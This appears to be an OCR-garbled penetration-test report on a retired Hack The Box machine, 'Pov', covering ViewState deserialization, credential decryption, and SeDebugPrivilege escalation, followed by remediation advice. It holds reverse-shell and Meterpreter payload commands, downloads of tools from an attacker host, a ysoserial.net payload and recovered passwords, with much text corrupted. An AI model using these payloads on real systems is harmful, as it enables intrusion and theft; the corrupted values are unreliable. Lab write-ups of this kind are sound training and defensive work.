Documents\connection.xml contained a PSCredential XML export — an encrypted SecureString object
for alaading, protected by sfitz's DPAPI key:

PS C:\users\sfitz> type Documents\connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<0bj Refld="0">
<TN RefId="0">
<T>System.Management .Automation.PSCredentiale/T>
<T>System.Objects/T>
</TN>

<ToString>System.Management. Automation. PSCredential</ToString>
<Props>
<5 N="UserName"talaadingg/S>
<55 N="Password" >01000000d08c3ddT011501118C 7200047 C397eb0100B000CATE54340c2979515cC730FeTa35he 100062006000003b54db1dda743e1442e77627255768e65a676e179107379a064TaBFF156
cee21s 0000, Obd3agac Fde17e Fob7352£ 0501900200378 1addab 39862032 FaseSadedeas 300000008 3d 1627 Fab3c290a01 348eBadFO2CbL04od 1d9563 960045864 1909 f3562a€ 0C23944 1671 179080042512254 504 ac3 3024
0000000b15c0305782edae7a3a75c7e8e3c7d43bc23eaae88 Fde733a286109437d3766aF01FdF6F2c F99d2a232389326c786317447330113C5¢ Fa25heabFbAcGeledda</ 55>
</Props> S
</0bj>
</0bjs>

Running in sfitz's session, the DPAPI key was available. Import-Clixml deserialized the credential
object and GetNetworkCredential().Password extracted the plaintext:

$enc_pass Import-Clixml 'C:\Users\sfitz\Documents\connection.xml'

$dec_pass $enc_pass.GetNetworkCredential() .Password
$dec_pass

PS C:\users\sfitz> %$enc pass Import-Clixml -Path ‘C:\Users\sfitz\Documents\connection.xml"’
Ps C:\users\sfitz> $dec_pass = %$enc_pass.GetNetworkCredential().Password

PS_Cih\usershsfitzy $dec_pass

fBo08fynPibdeklm3

Credentials recovered: alaading:f8gQ8fynP44ekim3

RunasCs.exe was transferred from the attack box and used to spawn a shell as alaading targeting a
second listener:
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PS C:\users\sfitz\Documents> iwr "http://10.10.16.60:8081/RunasCs.exe” —QutFile "C:\Windows\Temp\RunasCs.exe"
pS C:\users‘\sfitz\Documents> dir C:\Windows\Temp\RunasCs.exe

Directory: C:\Windows\Temp

Mode LastWriteTime Length Name

~a—— 6/6/2026 9:56 AM 51712 RunasCs.exe

C:\Windows\Temp\RunasCs.exe alaading f8gQ8fynP44ekim3 powershell -r 10.10.X.X:9002

(base) —(parallels® kali-gnu-Tinux-2023 )-[~/Documents/HTB_Boxes/retired/Pov]
—3» rlwrap nc -nlvp 9082

listening on [any] 9882 ...

connect to [10.18.16.6@] from (UNKNOWN) [10.129.1@.106] 49679

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows‘\system32> whoami
pathoamd

puu\alaading;
PS CT\Windows\system32> [

The user flag was retrieved from alaading's Desktop:

Ps C:HUSErSHalaadinékdESktnbb dir

dir

Directory: C:\users\alaading\desktop
Mode LastWriteTime Length MName
-ar— 6/6/2026 8:24 AM 34 user.txt

PS C:\users\alaading\desktop> type user.txt

Iuvpe user txt
|25acf196aa8e40894bbd51466dd31440 ]

6. Privilege Escalation — SeDebugPrivilege and Process Migration to SYSTEM

Checking alaading's token privileges revealed SeDebugPrivilege in the Enabled state:
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PS C:\users\alaading\desktop> whoami /priv
whoami /fpriv

PRIVILEGES INFORMATION

Privilege Name Description State
SeDebugPrivilege Debug programs Enabled
seChangeNotityPrivilege Bypass traverse checking Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeDebugPrivilege grants the ability to open handles to processes owned by any user, including
SYSTEM. The standard escalation path is to migrate a Meterpreter session into 1lsass.exe, which runs
as NT AUTHORITY\SYSTEM.

A Meterpreter reverse TCP payload was generated with msfvenom and transferred to the target:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=9003 -f exe -o sh.exe

PS C:\users\alaading\Documents> iwr "http://10.1@.16.60:8081/sh.exe” —-OutFile sh.exe
iwr “"http://10.10.16.60:8081/sh.exe™ -OutFile sh.exe

PS C:\users\alaading\Documents> dir

dir

Directory: C:\usershalaading\Documents

Mode LastWriteTime Length Name
-a 6/6/2026 18:37 AM 256008 sh.exe

A Metasploit multi/handler was configured to catch the session:

(base) —(parallels® kali-gnu-1inux-2023 )~ [ ~/Documents/HTB_Boxes/retired/Pov]
-3 sudo msfconsole -g

msf > use exploit/multi/handler

| *] Using configured payload generic/shell_reverse_tcp

msf exploit( } > set LHOST tun®

LHOST = tun®

msf exploit( ) » set LPORT 9083

LPORT = 9883

msf exploit( ) » set payload windows/x64/meterpreter reverse_tcp
payload = windows/x64/meterpreter_reverse_icp

msf exploit( } > run

|#] Started reverse TCP handler on 18.10.16.60:9003

The payload was executed on the target:
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Directory: C:‘\users\alaading\Documents

Mode LastWriteTime Length Name

—a—— 6/6/2026 1@:37 AM 256000 sh.exe

PS C:husers‘alaading‘\Documents> .%\sh.exe
\Sh exe

- E - am | . m

With the Meterpreter session open, the process was migrated into lsass.exe:
meterpreter > migrate -N lsass.exe
meterpreter > shell

meterpreter > migrate -N lsass.exe
| #| Migrating from 1912 to 644 ...
Migration completed successfully.

meterpreter > shell

Process 2772 created.

Channel 1 created.

Microsoft Windows [Version 10.8.17783.5329]

{c) 2018 Microsoft Corporationm. All rights reserved.

C:\Windows\system32>whoami

whoami
.nt autharltyksystem

The shell returned as NT AUTHORITY\SYSTEM. The root flag was retrieved:

Directory of c:\Users\Administrator\Desktop

R1/15/2024 B5:11 AM <DIR>

R1/15/2024 B5:11 AM <DIR> -
R6/06/2026 B8:124 AM 34 root.txt
1 File(s) 34 bytes

2 Dir(s) 7,355,461,632 bytes free

o \Userﬁﬂhdmln15tratnr\Desktnp>type root.txt

P STLC N T YT 1

B - A |

a59bhfEae?ﬁ#EEchcga?3?3819cﬁeaF
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6 Remediation Summary

The findings from this assessment form a linear exploitation chain: path traversal exposes ViewState
keys, deserialization achieves RCE, stored credentials enable lateral movement, and SeDebugPrivilege
completes the privilege escalation to SYSTEM. Each finding should be remediated independently, as
fixing any single link breaks the chain for future attacks.

6.1 Short Term
SHORT TERM REMEDIATION:

* Fix the path traversal in the CV download endpoint. The file parameter must not accept path
separators or directory traversal sequences in any encoding. Implement an explicit allowlist of
permitted filenames and reject any request where the resolved path does not begin with the
intended base directory (validate with Path.GetFullPath() in.NET and compare against the
expected root). The current filter's single-pass ../ removal is trivially bypassed with ....//.

* Rotate the ASP.NET ViewState keys in web.config immediately. The validationKey and
decryptionKey values exposed through the LFI are compromised and must be replaced with new
cryptographically random values. After rotation, any previously generated ViewState payloads
using the old keys will be rejected.

* Remove Documents\connection.xml from sfitz's profile and rotate alaading's password.
PSCredential XML files encrypted with one user's DPAPI key should not be stored in accessible
locations. Credentials for shared accounts should be managed through a PAM solution, not stored
as encrypted files on the filesystem.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

* Revoke SeDebugPrivilege from alaading's token. This privilege is intended only for kernel-mode
debuggers and should not be assigned to standard or service accounts. Audit all accounts with
SeDebugPrivilege using whoami /priv or Get-LocalUser combined with secpol.msc and restrict
the right to only those accounts with a documented operational requirement (typically no regular
user accounts).

* Review the ASP.NET application for additional deserialization sinks. ViewState is not the only
deserialization path in ASP.NET — 0ObjectDataSource, session state providers, and custom
serializers may also be exploitable. A full code review of the dev.pov.htb application is
recommended to identify and remediate any additional unsafe deserialization.

* Consider disabling ViewState entirely if it is not required by the application. For pages that need it,
enable ViewState MAC verification and ensure enableViewStateMac is setto true (the default) and
never overridden. Periodically rotate the machineKey values as a matter of operational security.
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6.3 Long Term

LONG TERM REMEDIATION:

* Implement a web application firewall or IIS request filtering rule to reject requests containing path
traversal sequences (../, ....//,and URL-encoded variants) in any parameter. This provides
defence-in-depth complementing the application-level fix.

* Deploy a privileged access management solution for all service and shared account credentials. No
account passwords should exist in plaintext or reversibly-encrypted form on the filesystem. Secrets
management tools (e.g. Windows Credential Manager with proper ACLs, HashiCorp Vault, or Azure
Key Vault) provide auditable, rotation-capable alternatives to PSCredential XML files.

+ Establish a process-level privilege review as part of regular security assessments. SeDebugPrivilege
and other powerful token rights ( SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege,
SeTcbPrivilege) are common escalation vectors. Auditing token assignments annually and after
any account or role change will catch privilege creep before it becomes an escalation path.
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7 Technical Findings Details

1. ASP.NET ViewState Deserialization with Known
Cryptographic Keys Enables Unauthenticated Remote Code
Execution -

CWE CWE-502 - Deserialization of Untrusted Data
CVSS 3.1 9.8 / CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:H/A:H

ASP.NET ViewState serializes page state into a hidden form field, signs it with a
IEERERnY. and optionally encrypts it with a CEEeaeneay. On each POST, the
server deserializes the field to restore state. When both keys are known —

Root Cause recovered via the path traversal in Finding 1 — an attacker can craft a malicious
serialized object using and submit it as the parameter.
The ASP.NET runtime deserializes the object during request processing, executing
arbitrary commands as the IIS application pool identity (Ejgkeg). No authentication
is required to submit a POST request to the portfolio page.

Remote code execution as without authentication. A reverse shell was

Impact obtained, providing interactive access to the server filesystem and the ability to

enumerate and decrypt the stored PSCredential XML file for lateral movement.
Affected dev.pov.htb ASP.NET application — _ VIEWSTATE parameter — deserialization with
Component known keys

Rotate the ViewState keys in immediately (see Finding 1). To prevent
future exploitation, do not store plaintext keys in on disk — use IIS
Machine Key configuration inherited from the server—levelr
store keys in encrypted configuration sections using EHYISEEIESEIoS]-
Additionally, evaluate whether ViewState is required for all pages; disabling it
where not needed reduces the attack surface. Consider enabling ViewState

compression and ensuring EEDEERCIEE is always and
ViewStateEncryptionMode JEEIEts) for pages that require ViewState.

Remediation

* https://owasp.org/www-community/vulnerabilities/Unsafe_Deserialization

References * https://github.com/pwntester/ysoserial.net

Finding Evidence

A test payload was generated with ysoserial.net on a Windows VM to confirm the workflow:
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Ps c:\users\joe\Downloads\ysoserial-1dba9cuul6ba6e79b6b262b758fa75e2ee9008e9\Release> .\ysoserial.exe BinaryFormatter TypeConfuseDelegate basesu ping 127.
AAEAAAD/////AQAAAAAAAAAMAQAAAELTeXN@ZH@SIFZLCanb2d9NCqujAuMCwgQJVsdHVyZTluZXV@(mFSLCBQdWJSEWNLZXLUbltLb]llNZthNMlN]ESMZRLMDgSBQEAAACEAVNSC3RlbSSDblxsZNN@aw9ucy5HZN51cmL]LLNVCHRLZFNL
dGAXW1tTeXNBZWOuU3RyaWsnLCBtc2NvemxpYingVmVyc2lvb jO6L jAuMCLUWLCBDAWxX8dXILPWS LdXRyYWnsIFB1YmxpY8tleVRva2VuPWI3N2E1YZU2MTkzNGUWODLAXQQAAAAFQ291bnQIQ29tcGFyZXIHVMVyc21vbgVIdGVtcwADAAYI jQFT
eXNBZWeuQ29sbGV jdGLvbnMUR2VUZXJIpYy5Db21wYXJIpc29uQ29tcGFyZXIgMVtbU31zdGVtLINBcmluZywgbXNjb3JsaWISIFZ1lenNpb2U49NCUWL JAUMCWOQ3VSdHVYZT1uZXVecmFsLCBQAWISaWNLZX1Ub2t1bj1iNzdhNWM1N]ESMZRLMDGS
XVOIAGAAAAIAAAAJAWAAAATAAAAIBAAAAAQDAAAA JQF TeXNOZWOUQ295bGV jdGLVbNMUR2VUZXIpYY5Db21wYXIpc29uQ29teGFyZXJgMVtbU3LZdGVEL LNGEmLUZy wgbXN jb3JsaWIsIFZLenNpb249NCUNL JAUMCHEQ3VSAHVYZT1UZXVOCFS
LCBQdWIsaWNLZXLUub2t1bj1iNzdhNWM1N jESMZRLMDg5XVOBAAAACLY jb21wWYXIpc29uAy ITeXNOZWOURGY sZWdhdGVTZXIpYWxpemF@aWouSG9s ZGVy CQUAAAARBAAAAATAAAAGBGAAABEVYY BWaWSnIDEY Nyt jAUMQYHAAAAAZN L ZAQFAAAA
I1N5c3R1bS5EZWX1Z2FOZVNLcmlhbGl6YXRpb25Ib2xkZXIDAAAACERTBGVNYXR1B211dGhvZDAHbWV8aGIKMQMDAZETeXNOZWOURGY sZWdhdGVTZXIpYWxpemFBaW9uSG9sZGVyKOR1bGVNYXRIRW58cnkvU31zdGVELLI1Zmx LY3Rpb2UuTWVE
YmVy SW5mb1NlemlhbGl6YXRpb25Ib2xkZXIvU31zdGVtL1ILZmx1Y3Rpb2UuTWVEYmVy SW5SmbINlcmLhbGlEYXRpb25Ib2xkZXTICAAAAAKIJAAAACQOAAAAECAAAADBTeXNB ZWOURGYSZWdhdGVTZX IpYWxpemFBaWIuSGISZGVyKBRLbGVnYXRL
RW58cnKHAAAABHR5CGUIYXNZ ZW1ibHKGAGFyZ2VBENRhcmdLdFR5CGVBC3NLbWIseQ50YXInZXRUeXBLTmFtZQptZXRob2ROYW1LDWRLbGVNYXRLRWS8cNKBAQIBAQEDMFN5C3R1bSSEZWX1Z2FOZVNLemLhbGl6YXRpb25Ib2XKZXIrRGYs ZWdh
dGVFbnRyeQYLAAAASAJTeXNOZWOURNVUY 2AZW1tTeXNOZWeuU3RyaWSnLCBtc2NvemxpYiwgVmVvyc2lvbjeeL jAumcuwLCBDdWxadX JLPWSLdXRy YWws IFBLYmxpY@tleVRva2VuPWI3N2ELYZU2ZMTKZNGUNODLdLFtTeXNOZWOuU3RyawsnLCBL
c2NvcmxpYiwgVmVyc2lvb jOeL jAuMCUwl CBDdWx8dXILPWSLdXRy YWwsIFB1YmxpY@tleVRva2VuPWI3N2E1YZU2MTkzNGUWODLALFtTeXN8ZWOURGLhZ25vc3RpY3MuUHIVY2VzcywgU31zdGVtLCBWZXIzaWduPTQuMCUWL jJASTEN1DHR1CmUS
bmV1dHIhbCwgUHVibG1 jS2V5VGIrZWU9Y jc3YTVjNTYXOTMOZTALOV1dBgWAAABLbXN jb3JsaWISIFZlcnNpb2u9NCUwL jAuMCwgQ3VsdHVYZT1uZXVecmFsLCBRdWIsaWNL ZX1Ub2t1bj1iNzdhNWHM1NjE5MZzRLMDg5CgYNAAAASYNSc3R1bSwg
VmVyc21vbjOBLjAuMCUwLCBDdWxBdXILPWSLdXRyYWwsIFB1YmxpY8tleVRva2VuPWI3N2ELYZU2MThZNGUWODKGDGAAABPTeXNBZWOURGLhZ25vc3RpY3MUUHIVY 2V ZcwY PAAAABVNGY X JBCRAAAAAECQAAACITeXNOZWOUUMVNBGY jdGLvbisSN
ZW1iZXJJIbmZvU2VyaWF saXphdGlvbkhvbGRlcgcAAAAETIF tZQXBCc3N1bWIseUShbWUJQ2xhc3NOYWLLCVNPZ25hdHVyZQpTaWduYXR1emUyCk11bWJILcLRSCGUQR2VUZXIPY@FyY Z3VtZW58cWEBAQEBAAMIDVNSc3R1bS5UeXB1W1e JDWAAAAKN
AAAACQUAAAAGFAAAADSTeXNOZWOURGLhZ25ve3RpY3MUUHIVY2VZeyBTdGFydChTeXNeZWOuU3RyaW5nLCBTeXNO ZWOUU 3RyaW5nKQYVAAAAP NS c3R1bSSEaWFnbm9zdGL jcy5Qem9j ZXNZIFNOYX JOKFNSC3R1bS5TdHIpbmcSIFNSC3R1bS5T
dHIpbmcpCAAAAA0BCgAAAAKAAAAGFgAAAAdDD21wYXILCQWAAAAGGAAAAALTeXNOZWOuU. AATSW58MzIgQ29tcGFyZShTeXNOZWOuU3RyaW5nLCBTeXNOZWOUU3Ry aW5SnKQYaAAAAMLNSc3R1bS5IbnQzMiBDb21wYXILKFNSc3R1
bS5TdHIpbmcsIFN5c3R1bS5TdHIpbmcpCAAAAAOBEAAAAAGAAAAGGHAAAHFTeXNBZIWBuQ29t cGFyaXNvbmAxW1t TeXNOZWouU3RyaW5nLCBtc2NvemxpYiwgVmVyc2lvbjeeL jAuMCUwl CBDdWx8dX JLPW5SLdXRy YWwsIFB1YmxpY8tleVRva2Vu
PWI3N2E1YZzU2MTKZNGUWOD1dXQKMAAAACGKMAAAACRYAAAAIFGAAAACL

A reverse shell payload was generated using the recovered ViewState keys:

4 Burp Al

Response

Joe Thompson POV 26



A ARCHWARDEN

M = revshells.com | ® A

Theme | Bark

Reverse Shell Generator

IP & Port Listener @ Advanced
. 37 nc =lvnp
I | 10.10.16.60 | Port | 2001 | EaS
Type nc
Copy
Reverse Bind MSFVenom HoaxShell Assembled
o T e N © -

PHF system

PHP passthru ,# powershell -e
JABj AGWAAQBLAGAAdAAGADEALABOAGUAQWATAEBAYGBGAGUAYWBOACAAUWBSAHMAJABLAGOALGB

PHP” DAGUAdAAUAFMADWE j AGSAZQBAAHMAL gBUAEMAUABDAGWAaQB LAGAAdAAOACTAMQAWAC4AMQAWAC
4AMQAZACAANGAWACTIALAASADAAMAAXACKAOWAKAHMAGABYAGUAYQB tACAAPQAGACOAYWBSAGKAZ

PHP popen (BUAHQALgBHAGUAJABTAHQACGB 1AGEADQADACKADWBDAGIAQBRAGUAWWBAAFBAIAB1AHKAJAB L
AHMATAASACAAMAAUACAANGA1ADUAMWATAHWAIQB7ADAATQATAHCAIABPAGWAZQAOACGATABPACA

PHP proc_open APQAGACQACWBOAHIAZQBhAGBALGBSAGUAYQBKACGAIABiIAHKAAAB LAHMALAAGADAALAAGACQAYQ
BSAHQAZOBzAC4ATABAGAAZWEOAGIAKOADACAALQBUAGUATAAWAC KAEWATACQAZABhAHQAYQAQA

Windows ConPty DOATIAAOAEAAZOBIACOATWE1AGOAZOB] AHQAIAAtAFQAEQBWAGUATGBhAGRAZQAGAFMARQBZAHQA
ZQBtAC4AVAB1AHgAdAAUAEEAUWBDAEKASQBFAGAAYWBVAGQAaQBUAGCAKQAUAECAZQBRAFMACAB

PowerShell #1 yAGKADGBNACQAJAB1AHKAJAB LAHMAL AAWACWATAAKAGKAKQATACQACWE LAGAAZAB1AGEAYWBrAC
AAPQAgACgAAQBLAHGATAAKAGQAY(QBOAGEATAAYAD4AIgAXACAA FAAQAEBADQBOACAAUWBBAHIAA

ke QBUAGCAIAApPADsAJABzAGUAbGBKAGIAYQE j AGSAMgAgAD@AIAAKAHMAZQBUAGQAY gBhAGMAaWAG

PowerShell #3

PowerShell #4 (TLS) Shell sh Encoding None

PowerShell #3 (Baseb4) Raw Copy

The payload was pasted into Burp Repeater as the __VIEWSTATE value:
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Request

ept-Language:
ept-Encoding:
ontent-Type: a

Euntent-Lén t

EVEMTTA

Dwuiyhs ST FRwaugV4Dh

7591 FHAUWZ

Sending the request triggered deserialization and the reverse shell connected as sfitz:

(base) — -[~/Documents/HTB_Boxes/retired/Pov’

listening on [any] 9881 ...

connect to [10.10.16.68] from (UNKNOWN) [10.129.10.106] 49671
whoami _

povisfitz

PS C:\windows\system32\inetsrv> |}
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2. SeDebugPrivilege Assigned to alaading Enables Process
Migration into SYSTEM Context - High

CWE CWE-269 - Improper Privilege Management
CVSS 3.1 7.8 / CVSS:3.1/AV:L/AC:L/PR:L/UL:N/S:U/C:H/I:H/A:H

GEEEEERE) s user token has (EMCIEERERER cnabled. This Windows privilege

grants the ability to open handles to any process on the system regardless of the
process owner, including SYSTEM-owned processes. Using Metasploit's
Meterpreter, a reverse TCP session was established as and the

command was used to inject into (EEIEIERY which runs as (IR ISASEE]-

The resulting shell was returned with SYSTEM-level access to the machine.

Full system compromise as [\INRAVGERISRASIERNEY. All files, processes, and registry
keys on the machine were accessible, including the root flag.

Root Cause

Impact

Affected + alaading user account — SeDebugPrivilege Enabled
Component * Isass.exe — accessible for process injection due to SeDebugPrivilege

Remove from CHEEREME)'s token. This right should only be

assigned to kernel-mode debuggers and is never appropriate for standard or
service user accounts. To revoke:

1. Open — Local Policies — User Rights Assignment
2. Open 'Debug programs'
3. Remove from the list

REEENEE Audit all accounts with this privilege using:

Get-LocalUser | ForEach-Object { whoami /priv } # from the account's
session

or via the local security policy. The right should be restricted to the built-in
Administrators group only, and even that should be reviewed if Administrators are
not expected to perform kernel debugging.

* https://learn.microsoft.com/en-us/windows/security/threat-protection/security-
References policy-settings/debug-programs
* https://attack.mitre.org/techniques/T1055/

Finding Evidence

whoami /priv confirmed SeDebugPrivilege was enabled in alaading's token:
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PS C:\users\alaading\desktop> whoami /priv
whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
SeDebugPrivilege Debug programs Enabled
seChangeNotityPrivilege Bypass traverse checking Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

A Meterpreter payload was uploaded to the target:
PS C:\users\alaading\Documents> iwr "http://10.1@.16.60:8081/sh.exe” —-OutFile sh.exe
iwr “"http://10.10.16.60:8081/sh.exe” -OutFile sh.exe

PS C:\users\alaading\Documents> dir
dir

Directory: C:\usershalaading\Documents

Mode LastWriteTime Length Name

—a— 6/6/2026 18:37 AM 256000 sh.exe
Metasploit was configured with a matching multi/handler:

(base) —{(parallels® kali-gnu-1linux-2023)-[~/Documents/HTB_Boxes/retired/Pov]
L§ sudo msfconsole -g

msf > use exploit/multi/handler

[#] Using configured payload generic/shell_reverse tcp

msf exploit( } » set LHOST tun®

LHOST = tun®@

msf exploit( )} > set LPORT 9@@3

LPORT = 9883

msf exploit( ) » set payload windows/x64/meterpreter_reverse_tcp
payload = windows/x64/meterpreter_reverse tcp

msf exploit( } > run

ENI Started reverse TCP handler on 10.18.16.60:9883

Executing the payload opened a Meterpreter session:
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Directory: C:‘\users\alaading\Documents

Mode LastWriteTime Length Mame
-a 6/6/2026 10:37 AM 256000 sh.exe

PS C:\users\alaading\Documents> .\sh.exe
.A\sh.exe

L a m

The session was migrated into Isass.exe and an interactive shell dropped:

meterpreter > migrate -N lsass.exe
[#] Migrating from 1912 to 644 ...
[*] Migration completed successfully.

meterpreter > shell
Process 2772 created.

Channel 1 created.
Microsoft Windows [Versionm 10.8.17763.53291]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Directory of c:\Users\Administrator\Desktop

B1/15/2024 ©5:11 AM <DIR>
B1/15/2024 ©5:11 AM <DIR> v
B6/06/2026 B8:24 AM 34 root.txt

1 File(s) 34 bytes

2 Dir(s) 7,355,461,632 bytes free

c:\Users\Administrator\Desktop>type root.txt

a59bbfeae7648808cc9a737381echeatf

Joe Thompson POV 31



A ARCHWARDEN

3. Local File Inclusion via Path Traversal Filter Bypass in CV
Download Endpoint Exposes ASP.NET ViewState Keys - High

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path

S Traversal')

CVSS 3.1 7.5/ CVSS:3.1/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:N/A:N

The CV download endpoint on accepts a parameter in a POST
request and reads the specified file from disk. A filter intended to prevent directory
traversal by stripping sequences was bypassed using the variant: after
the filter removes the inner [{f), the remaining characters collapse to [§ifl, forming
a valid traversal. This allowed reading any file accessible to the IIS application pool
identity. The first target, [ IRacER). contained the ASP.NET ViewState

B CEENERE. and algorithm configuration — the cryptographic material
required to forge a malicious ViewState deserialization payload.

Exposure of the ASP.NET ViewState cryptographic keys from (fRaguer). Which
directly enabled the ViewState deserialization RCE in Finding 2. Additional sensitive
files readable from the IIS application path were also accessible via the same
vulnerability.

Root Cause

Impact

Affected

Component http://dev.pov.htb — POST /portfolio — file parameter — ....// traversal bypass

Implement strict input validation on the parameter. Reject any value
containing path separators (§§, §§), dot sequences (f§l§), or their URL-encoded
equivalents. After constructing the intended file path, resolve it with
in .NET and verify the result begins with the expected base directory before
opening the file. Single-pass blacklist filters are not a reliable control for path
traversal — only allowlist validation against a set of known-safe filenames is
robust. After remediating the traversal, rotate the ViewState keys in
immediately, as the current keys are compromised.

Remediation

* https://portswigger.net/web-security/file-path-traversal

References .
* https://owasp.org/www-community/attacks/Path_Traversal

Finding Evidence

A standard ../web.config traversal was blocked — the response was blank:
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Follow redirection ' Burp Al

Response

Replacing ../ with ....// bypassed the filter and returned web.config in full, including the ViewState
cryptographic keys:

* Burp Al
Request Response
Hex

sortfolio/ HTTP,

th

F347183843"

ECEBSSBA3
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4. Hardcoded Encrypted Credentials Stored in PSCredential
XML File Enable Lateral Movement - Medium

CWE CWE-312 - Cleartext Storage of Sensitive Information
CVSS 3.1 5.5/ CVSS:3.1/AV:L/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N
A PSCredential XML export for the account was stored at

N AT SIS CIRPtI). PSCredential XML files encrypt the
credential's SecureString with the DPAPI key of the Windows user who created
Root Cause them. Because the shell was running in EigReg's security context, the DPAPI key

as acce55|ble and Import-Clixml combined W|th

f) decrypted the file directly, exposing CHEEEHN'S

plaintext password W|thout any additional tooling.

Plaintext credentials for recovered from within CiEREd's session. These
Impact credentials enabled lateral movement to via (UEHERRS, who held

— the privilege used for final SYSTEM escalation.

Affected

C:\Users\sfitzZ\Documents\connection.xml — PSCredential XML for alaading
Component

Remove immediately and rotate EHEEREINgS password.

PSCredential XML files should not be used to store credentials for other accounts
on the same machine — the DPAPI protection is only as strong as the integrity of

Remediation the user session that created it. Any attacker who runs code in (JgRe8's context can
decrypt files created by Efgke8. Use a dedicated privileged access management
(PAM) solution or Windows Credential Manager with appropriate ACLs for storing
credentials that must be accessed programmatically.

https://learn.microsoft.com/en-us/powershell/module/

References . . .
microsoft.powershell.security/get-credential

Finding Evidence

sfitz's Desktop was empty — no flag. A directory listing revealed connection.xml in the Documents
folder:
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D L T L

Ps C:\users> dir

Directory: C:\users

Mode LastWriteTime Length Name

d— 10/26/2023  4:31 PM NET 4.5

d— 10/26/2023  4:31 PM .NET v4.5 Classic
d—— 10/26/2023 4:21 PM Administrator

d 10/26/2023  4:57 PM alaading

P — 10/26/2023  2:02 PM Public \
d 12/25/2023 2:24 PM sfitz

Ps C:\users> cd sfitz
_PS_Ci\users\sfitz> cd deskton
Ps C:\users\sfitz\desktop> dir

PS C:\users\sfitz\desktop> |J

Ps C:\users\sfitz> tree . /F
Folder PATH listing

Volume serial number is @899-6CAF
C:\USERS\SFITZ

7?7730 Objects

2???Contacts

7?7?7Desktop

77??Doc nts
? Icnnnectinn.xml

5
?77?7Downloads
??7?7?Favorites

7 7 Bing.url

? ?

? ?777Links
?7?7Links

7 Desktop.lnk

? Downloads.lnk
?

?7?7Music
?7?77Pictures
?7775%aved Games
?7775earches
?7?7?Videos

R - & & - m

The file contained a PSCredential XML export for alaading:

Joe Thompson POV 35



ARCHWARDEN

ps i \users\shtn type Documents\connection.xml
.1.0.1" xmlns="http://schemas.microsoft.com/powershell/200:

<IN Reﬂd n >
<T>System.Management . Automation.PSCredential</T>
<T>System.Objects/T>

/TN
<ToString>System.Management. Automation.PSCredentialc/ToString>
<Props>
<5 N="UserName” ;alaadlné%/&
EE W= dB8CIddto115d1118Cc7a08c04TC207eb0106000bCdTh54340c2929415cc730Feladsb I 364LdbTdda7h3e1442e77637255768e65a8 76617510737 52064 Fas1 1156,
cee21f @bd8asscfd817ef9b7382f050190dac@3b7c81addeb398b2d32fa5e5ade3eaa3000 ma]d1ez7fnh3(29daelJAsesadfgzd:maedldgﬁeagsznsﬁaF‘mgcfﬁﬁeza(I(Z39dm’571f79dslenzﬁuzxaﬁdaaeaahza
15cd305782edae7a3a75c7eBe3c7d43bc23eaaeas fde733a28e109437d3766a01FdF6F2c F99d23232389326¢786317447330113c5cFa25heB6FbAc6eledda6</SS>
Praops>
</0bj> g
</0bjs>

Running in sfitz's session, the credential was decrypted directly via PowerShell:

PS C:\users\sfitz> $enc_pass = Import-Clixml -Path ‘C:\Users\sfitz\Documents\connection.xml’
P5 C:\users\sfitz> $dec_pass = $enc_pass.GetNetworkCredential().Password

; i $dec_pass
f8g08fynP44ekim3
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A Appendix

A.1 Finding Severities

Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range
Critical 9.0-10.0
High 7.0-8.9

Medium 4.0-6.9
Low 0.1 -3.9
Info 0.0
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A.2 Host & Service Discovery

IP Address Port Service Notes

10.129.230.183 80 HTTP Microsoft IIS httpd 10.0 — pov.htb
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A.3 Subdomain Discovery

URL Description Discovery Method
pov.htb Corporate portfolio site — IIS 10.0 Target hostname

dev.pov.htb  ASP.NET developer portfolio — CV download endpoint Vhost fuzzing
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A.4 Exploited Hosts

Host Scope Method Notes

pov.htb Extern | LFI path traversal — web.config —

hell fi
(10.129.230.183)  al ViewState deserialization RCE el es etz

pov.htb Interna PSCredential XML decryption — RunasCs —

(10.129.230.183) | shell as alaading User flag

NT
AUTHORITY\SYSTEM,;
root flag

pov.htb Interna SeDebugPrivilege — Meterpreter —
(10.129.230.183) | Isass.exe migration
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A.5 Compromised Users

Username Method Notes

ViewState deserialization RCE via Reverse shell; PSCredential
recovered web.config keys XML access

sfitz

PSCredential XML decrypted in sfitz Shell via RunasCs; user flag;

alaading DPAPI context SeDebugPrivilege

NT
AUTHORITY\SYST
EM

SeDebugPrivilege — Meterpreter

: o Full system access; root flag
process migration into Isass.exe
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A.6 Changes/Host Cleanup

Host Scope Change / Cleanup Needed

pov.htb  Filesystem = C:\Windows\Temp\RunasCs.exe — remove

pov.htb = Filesystem  sh.exe (Meterpreter payload) — remove from wherever it was executed
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A.7 Flags Discovered

Flag Value Flag Location Method Used

C LFI — ViewState RCE —
\Users\alaading\Deskt @ PSCredential decrypt — RunasCs as

25acf196aa8e49894

bbd51466dd31449 .
op\user.txt alaading

a59bbfeae7648808c \Users\Administraton SeDebugPrivilege — Meterpreter

9a737381ecbeaf — |Isass.exe migration — SYSTEM
Desktop\root.txt
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End of Report
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